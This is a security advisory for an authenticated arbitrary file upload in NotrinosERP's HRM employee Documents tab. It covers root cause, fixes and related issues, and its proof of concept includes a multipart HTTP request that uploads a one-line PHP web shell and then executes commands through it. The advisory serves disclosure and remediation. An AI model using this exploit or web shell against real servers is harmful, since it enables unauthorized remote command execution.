NotrinosERP: Authenticated Arbitrary File Upload to Remote Code Execution via HRM Employee Documents
Any authenticated HRM operator can upload a PHP web shell through the employee Documents tab, which stores the file with its original extension inside the web root, letting the attacker execute…
The problem
The document upload handler in hrm/manage/employees.php (tab_documents()) writes the uploaded file to company/0/documents/employees/ using the raw client-supplied filename, extension and all. There is no extension allowlist, no MIME check, no content inspection, and no size cap on this code path.
Because company_path() resolves inside the web root and the repo-level .htaccess does not block .php files in that subdirectory, a stored .php file is directly web-reachable and executes as PHP. The stored path is also echoed unescaped into a "View" link, handing the attacker the exact URL of their shell and creating a secondary stored-XSS sink (CWE-79).
A ../-prefixed filename additionally enables path traversal (CWE-22) on PHP builds that do not basename $_FILES['name'].
Proof of concept
A working proof-of-concept for this issue in notrinos/notrinos-erp, with the exact payload below.
# Step 1: GET the Documents form for an employee to retrieve the CSRF token (_token).
# Step 2: POST the shell upload.
POST /hrm/manage/employees.php?employee_no=1&_tabs_sel=tab_documents HTTP/1.1
Host: <target>
Cookie: <authenticated-session-cookie>
Content-Type: multipart/form-data; boundary=b
--b
Content-Disposition: form-data; name="_token"
<csrf_token_from_get_response>
--b
Content-Disposition: form-data; name="doc_type_id"
<valid_document_type_id>
--b
Content-Disposition: form-data; name="doc_name"
x
--b
Content-Disposition: form-data; name="doc_file"; filename="shell.php"
Content-Type: application/x-php
<?php system($_GET['c']); ?>
--b
Content-Disposition: form-data; name="save_document"
Save Document
--b--
# Step 3: Execute commands via the "View" link shown in the Documents tab.
# GET /company/0/documents/employees/1_<unix_ts>_shell.php?c=id HTTP/1.1The root cause is CWE-434: the handler calls move_uploaded_file($_FILES['doc_file']['tmp_name'], $upload_dir.'/'.$employee_id.'_'.time().'_'.$_FILES['doc_file']['name']) with zero validation. The client controls the final filename and extension entirely.
Contrast this with the profile-photo (pic) branch in the same file, which validates image type, extension, and size, and with includes/ui/attachment.inc, which deliberately uses uniqid() to generate an extension-less name with an inline comment warning that client filenames must never be trusted.
The document handler simply never adopted that safe pattern.
Because the destination directory sits under the web root and no server config denies PHP execution there, the stored file is immediately executable via a direct HTTP GET.
The fix
Update to the patched dev-main branch (post-advisory). Until a tagged release is available, apply all of the following mitigations: (1) replace client-supplied filenames with a server-generated uniqid() name and no executable extension, storing the original name only in the database; (2) enforce an extension allowlist and MIME check identical to the pic branch; (3) move the upload directory outside the web root, or add an .htaccess inside company/*/documents/ containing php_admin_flag engine off and RemoveHandler .php to prevent script execution; (4) wrap the stored path in htmlspecialchars() before emitting the View link to close the secondary XSS.
Reported by Kasper Hong (Kasper Builds).
Related research
- critical · 9.9FacturaScripts Path Traversal to Remote Code Execution via UploadedFile::move()
- high · 7.6CVE-2026-54087CVE-2026-54087: EasyAdmin Bundle Stored XSS via FileField and ImageField Upload
- high · 7.5CVE-2026-45693CVE-2026-45693: FacturaScripts Unauthenticated Path Traversal in Static File Controllers
- high · 8.7CVE-2026-54065CVE-2026-54065: NukeViet Path Traversal to Arbitrary File Deletion